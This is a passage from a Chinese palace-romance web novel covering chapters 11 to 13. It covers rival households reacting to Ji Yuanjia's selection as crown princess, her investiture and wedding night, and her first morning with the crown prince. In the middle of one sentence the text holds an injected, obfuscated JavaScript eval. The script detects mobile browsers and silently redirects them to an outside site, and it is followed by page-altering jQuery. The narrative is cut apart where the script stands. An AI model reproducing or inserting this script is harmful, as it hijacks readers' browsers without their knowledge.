原因无他,盖因季老太爷年轻时做下的一桩丑事——宠妾灭妻。先在妻子怀有身孕的时候与辗转重逢、孤身飘零的青梅有了收尾,又赶在妻子临盆之际,将同样怀有身孕的青梅大张旗鼓地接回了府,甚至以商贾间盛行的平妻身份相称。之后又在妻子灰心丧意闭院不出以后,直接命府上众仆从锁了 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顾静则难得冷嘲热讽一句,“从前见老太爷掌家,便对祖母、对咱们两家不管不顾。如今见老太爷回心转意了,便又乐得看三叔父家凑上前来生事……哼,不过就是拿咱们三家人的事当笑话看呢,我呸!” “是阿,趋炎附势……可趋谁不是趋呢?” 元嘉轻声道。 “……嘉儿,你什么意思?” 顾静则似乎意识到了什么,带着三分犹疑与不定,猛地看向元嘉。 “若我坐上太子妃的位子,有些事情便不一样了,不是吗?” 元嘉眼也不眨地瞧着顾静则,眸底是一脉的平静无波。 顾静则张了张口,却发现自己再不必说什么了……眼前这个年轻的女郎,所思所虑远比她以为的要深、要远。 元嘉若成了太子妃,季氏便是太子妃的母族,甚至是来日的后族。为了家族的来日,族中的其他老辈便不会再作壁上观,反而会压着三房不再生事,万事以季连一支为重,便是再有人以此作筏,也不会缺上赶着替他们证明关系紧密的“至亲”。 可惜,这好处是季家的,却不是元嘉的。 “只是,委屈你了……” 顾静则却仍是心疼。 “哪里就委屈了,妹妹如今是太子妃,将来许还是母仪天下的皇后,嫂嫂该说妹妹是个福气深厚的人才是。” 元嘉又重新笑了起来。 顾静则轻戳了一下元嘉眉心,还欲说些什么,门外却突然传来了盼春的声音:“娘子,少夫人,徐妈妈送桂圆莲子羹来了。” 顾静则顿了一下,还是站了起来,“……许久未去骑马了,咱们明日去城郊跑个几圈,就当是踏春了,好不好?” 她想趁现在还有时间,陪着元嘉再多去外头走走,往后这样的机会怕就少了。 元嘉自是答应,又拉过顾静则的手,将人送到门外,“天色已晚,我便也不留嫂嫂了。只是这羹,也请嫂嫂带些回去,权当我借花献佛了。” 顾静则微微颔首,身后的侍女便上前接过食盒。又道:“那我走了……你就别送了,累了一日,还是早些安置罢!” 元嘉脚下不再动作,只点着头,目送顾静则和侍女远去。直到前者的身影完全消失在拐角处,才慢慢踱回屋内。 重新坐回榻上,元嘉歪靠在软枕上,盯着晃动的烛火又发呆了许久。好容易回过神,强打着精神道:“把东西端来吧,我喝了,你们也好早些休息。” “……是。” 几口吃尽,元嘉将空碗搁回托盘,看也不看地让人退下。盼春几次犹豫,最后还是听了命令,只略带担忧地看了人一眼,最终仍是一字未说地离开了。 屋内只剩下元嘉一人。 她依旧维持着盼春在时的姿势,盯着那盏烛灯不放。灯芯燃得太久,连火芒也已有些微暗了,元嘉却没有起身剪芯的念头,只瞧着将熄未熄的烛火出神。 刚才的话,根本就不是什么深思熟虑,不过是她离开幽篁院后陡然想起的一件事情,被用来安顾静则的心,一并也说给她自己听,用来麻痹自己,让自己认命接受……只是连元嘉也不知道,这话究竟是有用,还是无用。 “……唉。” 半晌,屋内传出一声轻叹。 11. 心忿忿 “……你说什么?!” 广平侯府。 赵舒和面色难看地盯着报信的人,眸中翻滚着怒气与羞恼。 “宫里选了季元嘉做太子妃?可她自来不显,那日在席上更是无一出挑,如何能得皇后的青睐!” 又如何,能及得上我…… 赵舒和愤恨地咬了咬唇,眼底满是不甘。 屋内伺候的人皆不敢搭话,只使劲佝着脑袋,默不作声。 “你在这一通质问的顶什么用,难道还能让宫里收回旨意不成?” 福昌郡主到底在皇宫浸淫多年,又一人打理侯府至今,比之赵舒和又要镇定许多,“今日季家那丫头及笄,且不说场面如何,皇后赐冠,今上颁诏,还有熙宁公主亲去贺礼,三重荣耀加身,便是给足了季家体面,落定了季元嘉太子妃的身份!你如今在府里如此失态,难道就不怕传出去,坏了你这么多年才积攒下来的好名声?” 赵舒和呼吸一滞,表情更加难看,却也不得不承认自家母亲说的话才是对的。家里如今不安宁,做父亲的整日流连侧室居处不说,连那个自来碍眼的庶女也渐有不逊,甚至隐隐有越过她的态势,实在令人不爽。 如此一想,赵舒和也只能竭力逼迫自己冷静下来,蹙眉敛目,藏去眼中的万千情绪,“女儿哪里不知这已是铁板钉钉的事情,只是女儿不明白,熙宁公主与皇后分明都对女儿赞赏有加,却为何仍选了——” 赵舒和说不下去了。 “你倒是把自己看得重!” 福昌郡主面色微嘲,“当年让你学着柳二娘的做派,好歹沾几分才名,却不想你连她的蠢也一并学了去……哼,跟她有关系的人果然没什么好学的。” “娘!” 赵舒和忍不住扬了声音。 福昌郡主不虞地皱起了眉头,“娘教了你这么多年,如今遇到事了就只会埋天怨地么!你可还记得自己是什么身份?” “我……” 赵舒和下意识反驳,却又在说话的瞬间闭紧唇瓣。她只怕自己一开口就又要被训,索性偏过头,连眼睛也不看人了,抗拒意味明显。 福昌郡主瞧着,终是狠不下心,摇着头叹了口气,缓了语调道:“舒儿,你是侯府的嫡出女,父亲是侯爷,母亲是郡主,你的弟弟,是侯府的世子,未来的侯爷,已逝的先太后,你更可称一句姑祖母……你的出身,远比上京的许多人要尊贵,便是一时不如又如何,终归你才是走得最长远的那个。这一点,你要牢牢记住!” “阿娘,你这是什么意思?” 赵舒和猛地回头,眼神惊疑不定。 “舒儿,你还记得太子与季元嘉的婚期定在哪日么?” 福昌郡主问道。 “……六月初八。” “那季家娘子今日才及笄,婚期便迫不及待地选在了三月之后。” 福昌郡主语气微扬,“且不说如今少有初及笄便嫁人的,皇室册妃哪一项又哪比普通人家嫁娶简单……今娄皇后,当年册封王妃时,前后筹备了一年。先太后册封为太子妃时,从接旨到迎娶,更是耗费了两年有余。如今为太子选新妃,那可是实打实摆在面上的尊贵,却办得这般匆忙。舒儿,你道是为何?” 赵舒和眼底震荡,蝶翅般的眼睫止不住地轻颤,“娘的意思是,今上……” “虽然咱们的猜测都不能作数,可那一位大概是觉得自己没几年活头了,这才急着把太子妃定下来,说不定还想再等个孙辈呢!” 福昌郡主唇角扬起弧度愈大,“季元嘉纵使再有本事,也只能做太子登基前的头一份。一旦新帝继位,势必要大选后宫,那时候才是群芳争艳,端看哪枝开得最好了……舒儿,你的福气在后头呢!” “……且不说女儿等不等得起,若那时皇后还是瞧不上女儿呢?”话到此处,赵舒和自己反倒犹豫起来,“到时候,还不是竹篮打水一场空。” “才叫你别学了柳二娘的蠢,这会儿竟还真蠢上了!” 福昌郡主一副恨铁不成钢的表情,“从古至今不知道多少位皇帝,又有几个是真的从一而终、只饮一瓢的?不都是嘴里念着情意,身边佳丽不断么!更遑论前朝后宫本就一体……舒儿,你有一副好相貌,背后又站着整个广平侯府,便是你爹现在的心思不在我娘俩身上又如何,他还是得为着你的事周旋,还是得为着他侯府来日的富贵来咱们的菡兰院!” 福昌郡主当年虽因倾心赵侯爷而下嫁,可这么些年来,赵侯爷早已因妻子家世渐衰而不复当年恩爱,福昌郡主更是瞧着一堆的庶子庶女生厌,心底早不复当年情谊。如今再提起自己的枕边人,语气更是连半分波动都没有。 赵舒和收讯后被搅成一团浆糊的大脑到此刻才再复清醒,也终于回想起来,自己究竟为何一定要争这太子妃的位子…… “女儿明白了,”赵舒和终是展了眉头,“确是女儿心急了。” “你年纪还轻,许多事自然想的简单,”福昌郡主抿了口茶水,语气淡淡,“你娘是个没本事的,当年侥幸得了先太后的垂怜,这才封了郡主,有了在宫内行走的机会……我没有皇室的血统,家族中也没有男人可以撑起门梁,可那又如何,你娘不还是挣来了之后十数年的体面!” “舒儿,你是福昌郡主的女儿,你只会、也只能比为娘过得更好!” 福昌郡主猛地搁下杯盏,带着不容置疑的力道。 “……是。” 赵舒和神色复杂地应下。 她会过得好的,按着自家母亲的期望…… “行了,你且先回去自己的院子。平日若无事,就呆在屋子里读读书写写字,权当是修身养性了。接下来几个月的风光,便先留给季家娘子罢!” 赵舒和答应了一句,低声道:“只是,那柳安沅自来与季元嘉交好,此番怕是要叫她压上女儿一头了。” 福昌郡主从不甘落于靖安郡主之下,她自己也早习惯与柳安沅争了。从前大多是她占上风,只这一次,却输的彻底。 “她与季家丫头交好,如今自然有她高兴的时候……可谁又论得清来日呢?” 福昌郡主阖眸,缓缓道。 赵舒和亦不再说话,自座上起身,按着福昌郡主一贯教她的那样,姿态端庄地告退离开。 这厢话毕,另一厢的漪澜阁却尤不平静。 “你可听到些什么了?” 李氏有些拘谨地坐在上首,面上尤带三分小心翼翼,又似顾及着什么般低声询问。 “我、奴婢也没听真切,只隐约传出几句二娘子的声音,像是在冲着谁发脾气……” 回话的,一身侯府粗使婆妇的打扮,此刻正埋着脑袋,说话瓮声瓮气。 “二娘子动了气?” 李氏喃喃自语:“她从来都最顾及自己仪态的,怕是发生了什么大事……” “还能为着什么事?不就是——” 赵妍和正想开口,视线却从回话那人的颅顶上扫过。收了声,又止了话头,赵妍和随手从桌角的匣子里摸出几粒碎银,示意身边的侍女递过去。 “辛苦你跑这一趟了。日后若再听到些什么别的,也只管过来报给我们……回去时小心些,别叫人发现了,去吧。” 那人答应着,垂眼接过碎银,又如来时般怯怯地退了出去。 李氏自女儿说话起便再不吱声,直到那人的身影彻底消失,才小声问道:“你刚才想说什么?竟这样不愿意别人留在这儿。” “她是贪图咱们的银子,才隔三差五来漪澜阁报信的,”赵妍和瞥了一眼李氏,“如今倒是事事以我们为先,可难保她来日不会为了别人的银子,把咱们这儿的所见所闻说出去。小心驶得万年船,总是没错的。” “那人是我的同乡,从前还一起住过同一间屋子,不、不会的。” 李氏怯弱地反驳道,声音仍极小。 “姨娘做了主子,她却还是仆妇,难保没有怨气,还是小心些好。” 赵妍和一开始还耐着性子解释,却又在见着李氏荏弱的模样后忍不住道:“姨娘这见人便信的性子,用在父亲一个人的身上就好,旁的便不要管了,免得生蠢。” “你这孩子,”李氏脸涨得通红,“怎么能这样说自家长辈!真是,真是……” 却是半晌吐不出下半截话。 也怪不得李氏。她原是侯府的家生子,自记事起便留在赵侯爷院内伺候,虽也跟着去过几趟书房,但不过是为着赵侯爷那点红袖添香的小心思,到最后也只习得些常用字,不至做个睁眼瞎罢了。 后来年岁渐长,赵侯爷也到了知人事的年纪,便顺理成章地收了身边这个从小服侍的丫鬟做了通房,几番云雨,这才有了赵妍和。 只李氏有孕的时候不巧,正好撞上侯府与福昌郡主议亲之际。福昌郡主面上虽无异,可进了侯府的第一件事,却是将李氏打发去了离赵侯爷的最远处。 彼时赵侯爷与福昌郡主正值新婚,又有先太后在背后撑腰,毫无倚仗的李氏自然被远远抛在了脑后,后来又只生下了一个女儿,便更没有人记挂了。 除了老侯爷夫妇。 这两人念着李氏好歹生下了长女,不能一直没名没姓地留在侯府,遂顶着福昌郡主的不满,做主将人抬做了侧室姨娘。 那几年,先太后还在世时,明里暗里扶持广平侯府,福昌郡主又生的美,性子娇,直把赵侯爷迷得离不开菡兰院,不可不谓之春风得意。可相应的,李氏的日子便不好过。虽也没有人克扣她的份例,但主母不喜,底下人自也不会精心对待,是以到李氏手里的东西,往往也不是什么好货色。 若换个稍有胆色的,早拿着为主君生儿育女的事情站稳脚跟了。偏李氏自来胆小,性子也柔弱,总是旁人说什么便是什么,是什么便信什么。几年过去,愣是没发觉自己被暗地里针对了,反还担心有哪里做得不够好,这才惹了主母的嫌。 这样的日子又过了好几年,直到先太后逝世,李氏的处境才渐有改变。 先是福昌郡主。 赵侯爷风流,福昌群主虽美,可日日对着同一张脸,看久了难免厌倦。从前有先太后与老侯爷夫妇时时敲打,又觉得福昌郡主的个性极对自己胃口,这才安安生生地守着一个女人过了好些年。可如今,先太后与老侯爷夫妇俱已离世,赵侯爷自然不愿再将自己拘在小小的菡兰院中。 不过半年功夫,赵侯爷便故态复萌,断断续续地找起新人来。李氏就是这时候重新出现在赵侯爷眼前的。李氏怯懦又爱信人,旁人看了或许瞧不上,可放在赵侯爷眼里,却觉得枕边人能全身心信任自己,唯自己喜好是从,是件再舒坦不过的事情。 尤其在有了福昌郡主做比之后。 福昌郡主虽是外姓,可好歹也是在皇宫浸淫十几年,得先太后疼惜,正统礼教下养出的贵族女子。往往同赵侯爷闹不快,也是赵侯爷弯腰赔礼居多。一开始,赵侯爷还能将其视作夫妻情趣,后来次数渐多,饶是福昌郡主美艳动人,他在心里也生了怨念。 赵侯爷就这样,一月半月的去一次李氏的小院,期间虽也往菡兰院去,到底次数少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484912|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 赵侯爷身边本就不缺貌美佳人,远了福昌郡主后,不过一俩年的功夫,府内就又多了好几个姨娘侧室,连带着庶子女也多了起来。 李氏相貌虽不错,性子却太过和顺,也没有其他人的争宠手段,起先并不多得赵侯爷青睐。且福昌郡主虽与赵侯爷不复恩爱,到底余威犹存,府里大小事仍被其抓在手上,李氏一个敢在主母之前生下孩子的女人,又怎会得福昌郡主好眼?福昌郡主宁肯赵侯爷去其他侧室处流连,也不愿见他往李氏院子跑。 但赵妍和不同。 她年岁渐大,见过、也知道不受宠的姨娘们平日里过着什么生活,所以渐渐地也戴上了一副假面。明里善解人意,讨好福昌郡主,也向赵侯爷卖乖,暗里却是寸利必较,从不肯舍了自己的一分好处。 两个相似的人是很难合到一处的,更别说其中还藏了这样的弯弯绕绕。赵舒和会对自己这个齿序上的长姊如此不满,未必没有两人同是装相的原因在里头。 至于赵侯爷,自然是吃这一套的。女儿乖巧懂事,生她的女人也听话温顺,赵侯爷内心受用,也乐得沉溺在这份温柔乡里,往李氏小院来的日子也多了。 赵妍和根本懒得看人,只自顾自挑着碟子里喜欢的糕点。细嚼慢咽下肚,又啜饮了几口茶水,方继续道:“女儿说错了么?姨娘,你也吃过不少次亏了,怎么就是不长记性……姨娘如今的好日子,是女儿一点一点从父亲手里讨来的。旁的更受宠的姨娘们,她们的院子可还没咱们的宽敞呢!姨娘就这么不愿意听女儿的话?是觉得从前的日子太好,还想再回去经受一遭不成?” “我、我不是这个意思……” 见赵妍和有些动气,李氏连忙摆手,又讨好似的冲赵妍和笑了笑。她性子软,见不得人说重话,从前害怕福昌郡主,如今还害怕自己这个说一不二的女儿。 赵妍和也懒得再继续纠缠此事,她每每好生说与李氏听,李氏却次次当做耳旁风,听过便过,多了连她自己也倦了。 思绪辗转间又回到方才的事。 “二妹妹一心以为太子妃之位已成她囊中之物,如今失了手,自然生气。” 赵妍和极轻地笑了一下,眼中似有怨恨,但更多的还是羡慕。 李氏见她不再把苗头放在自己身上,松了口气,忙顺着人说些自己也听到的事情,“季家娘子今日及笄,宫里便也赶在今日宣旨,真是送了好大一份贺礼……季娘子能得陛下与皇后如此看重,实在是福气深厚,是个有大造化的人。” “是阿,对季娘子是大造化、有福气,可对二妹妹却是大打击、没福气。” 赵妍和唇角的讥意更大了些,“前些日子在诗会上被熙宁公主当众夸赞,赏菊宴时又是第一个被皇后问话的,这些天上京城里谁不猜她要做太子妃了……只可惜却是神女有心,襄王无梦,到头来还是没瞧上她。” “那,那……”李氏听罢,一时不知该如何接口,只好道:“咱们这些天避着菡兰院些,免得、免得又生事端。” “姨娘担心什么?郡主娘娘如今正忧心她与皇室的缘分呢,哪还有功夫管咱们这些上不得台面的人。” 赵妍和嗤笑一声。 “也、也是。” 李氏讪讪。 “……二妹妹有郡主娘娘操心婚事,”比起太子妃的人选,赵妍和关心的却是另一件事,“我比二妹妹还要大上一岁呢,也不知最后会嫁给谁。” “侯爷如今且疼你呢,想来会让你嫁个自己喜欢的。” 李氏小心翼翼道。 “姨娘这话,听着也太虚无缥缈了些,”赵妍和微昂着头,又朝李氏的方向偏了偏,“女儿如今喜欢的,可都是些能握在自己手里的实打实的好处阿……” “郡主不也是看中那许多的好处,才一门心思地想为二妹妹结皇室的姻缘么,”赵妍和低声喃喃,“可父亲呢,父亲他会为我这样费心思么,不会的……” 她其实不怎么担心自己的来日。广平侯府即便势微,可到底是摆在那的地位,若连她这个长女都去了别家做妾,那才是真丟了整个侯府的脸。赵侯爷不会同意,福昌郡主为了自己在外头的脸面也不会同意。 可那也只是不做妾罢了。 赵妍和知道自己骨头有几两重,一众姊妹之中,她的倚仗是最少的。生母如浮萍般无有依靠,父亲也随时会将目光移去他处,至于福昌郡主这位嫡母,更不会替她打算什么,当然也懒得下绊子。 她如今能望见的来日,不过是去往哪家做个寻常女妇罢了…… 这样就够了么,她不知道。 “……” 李氏虽惧怕自己这个女儿,心里也是盼她好的,只是素来嘴拙,一时也不知如何安慰。 “行了,”赵妍和很快敛了情绪,再瞧不出方才的茫然,“父亲说明早要来咱们这儿用早饭,姨娘早些吩咐人准备吧。” 说罢,缓缓起身,“女儿也乏了,先回屋歇息去了。” 言下之意,便是赵侯爷今夜要留宿漪澜阁了。 李氏想起身送她,又不知能说些什么,犹豫间,赵妍和已是远去。 “……姨娘?” 她的侍女轻唤道。 李氏盯着赵妍和近乎不见的背影,极浅地摇了摇头,“你这会儿去厨房一趟,叫他们明早送些侯爷爱吃的东西过来,咱们……提前预备起来罢。” 语毕,整个人像是全然失了气力,左右踉跄了几下,连忙单手撑住桌角,好不容易寻了个支撑点,终是一点点踱回了里屋。 12. 杯合卺 元嘉终是没能与顾静则去城郊骑马踏春。 接下赐婚诏书的第二日,宫里便派了人常住季府,为三月后的太子妃册封礼讲授仪程。 好在有徐妈妈提点陪伴。 在知道元嘉被选为太子妃后,徐妈妈与季母深谈了一夜,之后便正式做了居胥阁的管事嬷嬷,从此长伴元嘉左右,一并随去太子府。 “妈妈好不容易才从宫里出来,何必要为了我再回去……” 元嘉知道后,曾这般劝道。 “我孤家寡人一个,到哪里都能过活。从前为着家里的几句话离宫,后来却发现那或许并不值当。如今也不过是再回去自己熟悉的地方罢了。更何况,我也……放心不下娘子你。” 徐妈妈如是道。 元嘉自是感念不提,于听习仪礼之上也更加用心。 而进府教导元嘉的,则是一位不算眼生的面孔——那日在赏菊宴上出现过的女官,唤作兰佩。 初来时,满脸肃穆。又几日,见元嘉行为举止一丝不错,身边的嬷嬷又做过尚仪局的司赞,态度才逐渐缓和。日间休息时,也温言细语几句。 “娘子的规矩是极好的,想来那位徐妈妈也费心教了不少,”兰佩夸赞了一句,“这宫里的规矩本就繁琐,娘子一时头疼也是难免的。” 元嘉只浅浅一笑,道:“我年纪轻,怕学得不好,今日得姑姑这一句赞,便知我这几日的琢磨没有白费了。” “娘子悟性好,学的也快,”兰佩笑了笑,“原不该这样匆忙的,只那日是太史令测算后选出的绝佳日子,这才紧了时间,倒累了娘子与咱们这些行事的人。” 元嘉眼神微动,一时也摸不准这位兰佩姑姑的意思,只岔开话题,“姑姑瞧着,我还有哪里做的不够好?” 兰佩也不继续,只顺着元嘉的话道:“娘子已做得很好了,如今只需先记着三月后册封礼上的仪程。余下的,那之后再学也不迟。” 元嘉颔首应下:“那便都听姑姑的。” 两人坐着又说了会儿话,直等到窗棂外天色渐暗,兰佩方起身告辞,“今日教得也差不多了,奴婢明日再来。” 元嘉也跟着起身,“辛苦姑姑了。” 二人走到廊下,见兰佩欲告辞离开,元嘉复又开口道:“这几日晨起,听姑姑偶有几声咳嗽,便让小厨房炖了些川贝杏仁鹧鸪汤,待会儿便送去姑姑处。” 兰佩闻言,眼里笑意略大了些,福身坦然谢过,“奴婢多谢娘子记挂。” “姑姑客气了……拂冬,替我再送姑姑一程。” 拂冬应了一声,引着兰佩走了出去。 这期间,柳安沅、欧阳沁与元嘉往来信件不断,字里行间更是唏嘘。三人正月间还嬉闹谁会成为新的太子妃,却不想最终落在了对之毫无肖想的元嘉身上,当真是造化难定。两人本还想上门作陪几次,半作开解半作宽慰,却因其忙于听习学礼,不得空闲,无奈改以书信。 这时候,元嘉随了季连脾性的好处便显了出来。不等别人来舒散心结,自己便干脆利落地想开了,甚至还有余力去安抚一众亲朋。 三月的光阴倏忽而过。 元嘉看着铜镜里华冠丽服的自己,一时仍有些恍惚。及笄时的种种仿佛还是昨日,今日却要披上嫁衣改做人妇了。 不…… 细论下来,今日这场本也不是婚仪,她身上穿的,也根本不是什么嫁衣。 元嘉轻轻抬手,铜镜里的人也跟着一起动作,从顶戴的九钿花钗冠抚至身上穿的褕翟,通身繁复且隆重……这是皇太子妃受册时穿的礼服,却不是新嫁娘出阁时穿的凤冠霞帔。 元嘉的身边,围簇的也不是亲眷好友,而是数不清的宫女礼官。几日前他们便在了,架帷设案,布置仪仗,又再三查检册封时所需的种种器皿,一直到今日吉时。 正发呆时,元嘉被人扶着从妆台前起身,看着脚下迤逦不绝的华丽长毯,她的心里突然就生了恐惧,下意识以视线搜寻起自己家人的身影来,直到感受到人群中几道熟悉且关切的目光,才终于安心。元嘉从托盘上取过团扇,两手交叠相搭,将自己的脸彻底藏于扇面之后,终于再不停留地跨槛而出。 行礼的地方在皇宫,两人今夜也会歇在太子的少阳宫,至于建在外头的太子府,虽也布置了新房,却要等册封后的第二日,元嘉拜过娄皇后后才入内居住。 册封的仪礼复杂且繁琐,一日下来,元嘉只觉得整个人头昏脑涨。要记住的事情太多,初时的不安退去后,她也根本来不及感受任何成婚的喜悦,只麻木地在徐妈妈一次次小声的提醒中,跪,起,再跪,再起。 等元嘉终于回过神来,整个人已然身处少阳宫之中。 元嘉将团扇搁在自己的膝上,抬眼打量起这处于她而言陌生至极的地方。虽因红绸多了几分暖色,却还是遮盖不住其中的冷意。 空荡荡,静悄悄,肃穆而无有人气。 蓦地,殿外有嘈杂声响起,伴随着逐渐清晰的脚步声。 有人要进来了。 元嘉只来得及重新将团扇挡于面前,便听见殿门被推开的声音。而后,有人坐在了自己身旁,床榻微微下陷。 元嘉眼珠微动,余光下意识朝身旁人瞥去。正是赏菊宴那日有过一面之缘的燕景祁,大周朝的储君,也是……她余生要始终相伴的夫婿。 不多时,在喜官人的唱和声中,元嘉一点点挪开遮面的团扇,她的目光与燕景祁相接,两人之间再无隔挡。 燕景祁先移开了视线,他偏头接过女官递来的酒盏,一个自己握着,一个递向元嘉。殿内除了礼官们,便只有捧物侍立的宫女。分明处处是人,却又处处寂静。 “……请太子殿下、太子妃殿下共饮交杯合卺。” 喜官人的话里溢着吉庆,顷刻间便将元嘉四处飘散的思绪唤了回来。她默默垂下眼睑,与燕景祁手臂交缠,而后身子前倾,饮尽了这不知何滋味的喜酒。 燕景祁似乎只是进来喝这杯合卺酒的。前脚才将空了的杯盏放回托盘,后脚便从榻上起了身 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兰华直起身,又道:“少阳宫还有位掌事内官,唤作申时安的。此刻正在太子殿下身边服侍,现下便不能来向女君您请安了,奴婢代他向您道个罪。” 元嘉轻轻摇头,“太子那边更要紧,我这儿不妨事的。” 兰华笑了一下,又后退两步,以便身后的红珠上前,“太子临走前交代过奴婢们,说今夜回的迟,让奴婢们先服侍女君您梳洗。” 一听是燕景祁吩咐过的,元嘉便也顺从应下,这身礼服又闷又沉,元嘉穿了一整日,早已撑不住了。撑着床沿起身,元嘉又道:“我身边这几个,初入宫闱,许多规矩都还只是一知半解,便辛苦兰华姑姑多教导一下了。” 虽说这几月,盼春她们也跟在元嘉身边,被兰佩和徐妈妈着意教了不少,但到底时间短暂,许多地方还需再指点。 兰华福了福身,温言道:“奴婢定不负太子妃期许。” 元嘉颔首,这才进了侧殿梳洗。 …… 燕景祁再回来时,已是深夜时分,早过了就寝的时辰。 元嘉松散着头发,只一根玉簪略束了束,见燕景祁走近,脚下又踉跄,忙起身相扶。殿内伺候的人早在燕景祁进门时,便被男人抬手驱了个干净。 好在燕景祁也没有真醉糊涂,进来前便先去了侧殿沐浴更衣,又换了身轻便衣裳。如今元嘉拥着他,虽还能感受到淡淡酒气,却也并不难闻。 将人扶到榻上坐下,元嘉暗暗松了口气。虽已在心里做了无数的铺设,可她到底少与男子如此亲近,一时改换身份,终归是有些不适应。 燕景祁垂眼瞧着元嘉微红的脸颊,在烛火的映照下越发娇艳,不由得抬手抚了抚元嘉的鬓发,眼神却越发平静。 半晌,取了元嘉固发的玉簪,开口道:“歇息吧。” 自是一夜良宵。 13. 拜长妇 夜已经很深了。 按说忙碌了一日,此刻应当极易入睡,可元嘉却觉得分外清醒。身旁的燕景祁也早已入眠,只剩元嘉睁着眼睛,瞧着帷帐上的福寿蝠纹兀自发呆,好半天才回过神。 她极轻地动作了下,脸朝燕景祁的方向偏去,像是要记住什么般盯着男人侧脸不放。 剑眉星目,点绛薄唇,当真是丰神俊秀。 若他不是太子,若他没个早亡又难忘的发妻,元嘉或许会更开心一些……谁不想得这样一个上佳的夫婿呢? 可偏偏他是。 元嘉无声叹了口气,再不留恋地收回视线。 都说燕景祁爱重已故的薛太子妃,所以拖了一年有余才松口再娶,十足的深情。上京未出阁的女郎中不乏有为此倾心者,甚至恨不得自己能以身相代。季母也是知道这一点,才会对那道赐婚诏书耿耿于怀。 元嘉也曾遥想过自己未来的夫婿,想他相貌模样,想他文武几何,想他……是否也与自己一般,唯求一双一对,彼此恩爱不疑。 只可惜这些东西,如今再不必去想了。 分明身侧便是温热的躯体,元嘉的心却如置于腊月寒冬里一般冷了下去。她使劲将身子缩进被里,终是合上了眼睛。 到底是名正言顺的太子妃,到底是陛下与皇后选中的,她自不比谁低人一等……这样胡思乱想着,又是许久,方才睡着。 …… 这一夜,元嘉睡得极不安稳,直到被宫女服侍着起身,又坐在妆台前挽发簪钗时方才清醒。 因今日还要去拜见娄皇后等人,元嘉在穿着服饰上仍不得自在,好在不用穿褕翟,也无需钿钗礼衣覆身,倒叫元嘉暗自松了口气。 可饶是如此,也还有许多的准备要做。静坐在妆台前,一动不动的时间长了,元嘉也有些克制不住自己的倦意,两只眼睛虽还盯着铜镜,瞳孔却失了光彩,已然发起呆来。 燕景祁就是在这时候进来的。 没有走近,只绕过屏风,停在距元嘉几步开外的地方无声注视着。漆墨似的瞳仁喜怒难辨,像是在打量,又像是在审视着什么。 屋内站了许多服侍的人,可没有燕景祁的吩咐,谁也不敢先出声。直到红珠扭头为元嘉拣选饰物时,才陡然发觉。 “……太子殿下康安!” 她微微屈膝,挨着元嘉扬了声音,也算隐晦的提醒。后者立时回了神,脑中思绪纷杂如乱麻,面上却丝毫不显,只含着笑回头,意欲起身。 燕景祁抬手止了元嘉想要行礼的动作,又让人坐了回去,抬了抬下巴示意红珠继续。 “连孤进来都不曾察觉,可是昨夜歇的不好……又或是、想什么想得入了神?” 燕景祁站在元嘉身后,扫了铜镜中的人影一眼,又虚虚抚过眼前人挽了一半的乌发,突然道。 元嘉仍是不适应这样亲密的举动,下意识便想躲避,却又在即将动作前强行停住。 再不适应,也得适应。 “……妾身、有些紧张呢。” 元嘉移开脸,也学着燕景祁的样子,将视线停在正对面的那方铜镜之上,两人的目光在此刻相交。 “为何紧张?” 燕景祁又问道。 这一次的声音里,却多了几分温度。 “自然、是心下无底,怕自己做得还不够好呢。” 元嘉浅浅一笑,镜中的人影也跟着弯了弯眼角。 “……倒与那日初见你时的样子不同了,”燕景祁似乎笑了一下,“那时你停在路上请孤施援,何曾显露过半分无底,如今是怎么?” 元嘉克制着想要皱眉的冲动,自然垂下眼睑,细密的眼睫遮盖住眼中翻滚的思绪。眼珠轻转间,瞥过红珠置于桌上的托盘,上面是各式簪钗,正无声等待着被人挑选。 “当日是太子,如今却不一样了……” 元嘉重新昂起头,琉璃般透亮的眸子眨也不眨地看向燕景祁,是故意也是试探道:“殿下当日允了妾身的求援,如今便也再帮妾身一次罢?” 燕景祁挑了挑眉,颇感兴趣地点了点头。 元嘉眼珠一转,伸出指尖朝托盘的方向一指,“便请殿下帮妾身挑一个,是戴簪、戴钗,还是戴步摇……今日这样的场合,殿下也帮妾涨涨底气呀。” 元嘉肖母,生就一副清丽婉约的模样,眉眼尤其出色,说起话来蕴情含笑,叫人见了便生亲近,不舍重话。 果然,燕景祁也柔了几分神色。 “你模样生的好,自然戴什么都好,”燕景祁垂目打量了几眼,指尖从一排排饰物上点过,最后挑了支鎏金银镶玉蝶翅步摇,“不过孤瞧着,还是这步摇更佳,与你今日的打扮也衬些。” 说着,便要将步摇插进元嘉发间。只是前者发髻松散,燕景祁换了好几个方向,才堪堪插稳。他这才反应过来,自己进来时,元嘉的发才挽了一半,一时微怔。 元嘉只当没瞧见,抬手又稍稍调整了几下,方道:“殿下的眼光极佳,这步摇戴上去,果然好看极了!” 燕景祁这时也回过神来,瞧见元嘉的动作,不免失笑,“倒是孤的不是了,平白误了你许多的时间。红珠,还不快替太子妃挽发……孤去外间等你。” 元嘉笑着点头,瞧着燕景祁的身影消失在屏风后,方才恢复原来的姿势,示意红珠上前。又过了一刻钟,元嘉才算收拾妥当,与燕景祁一道乘辇往清宁宫去。 一路无言。 步辇落地,燕景祁先一步往里走去,元嘉则停在原地稳了两步,才随在燕景祁身侧。这样的距离,知礼却不致生分,于她,于燕景祁,皆是恰到其分的合适。 才踏进内殿,不及抬头,便听见有女子的笑声,清亮且肆意,隐约有些熟悉。 像是……熙宁公主。 元嘉这样想着,动作却没停,跟在燕景祁的身边,敛目朝娄皇后见礼。 礼毕抬头,果然在娄皇后的身边瞧见了那抹熟悉的亮色身影——果然是熙宁公主,此刻正笑盈盈地看着元嘉两人。 而左右两边,还各自坐了位宫装妇人,观其打扮,似乎位分颇高……不必猜,能出现在今日这场合的,也只可能是四妃当中的贤、德二妃了。 倒是热闹。 就是不知,本该只有娄皇后出现的场合,却为何又多出了这几人。 甚至……还有燕景祁的生母。 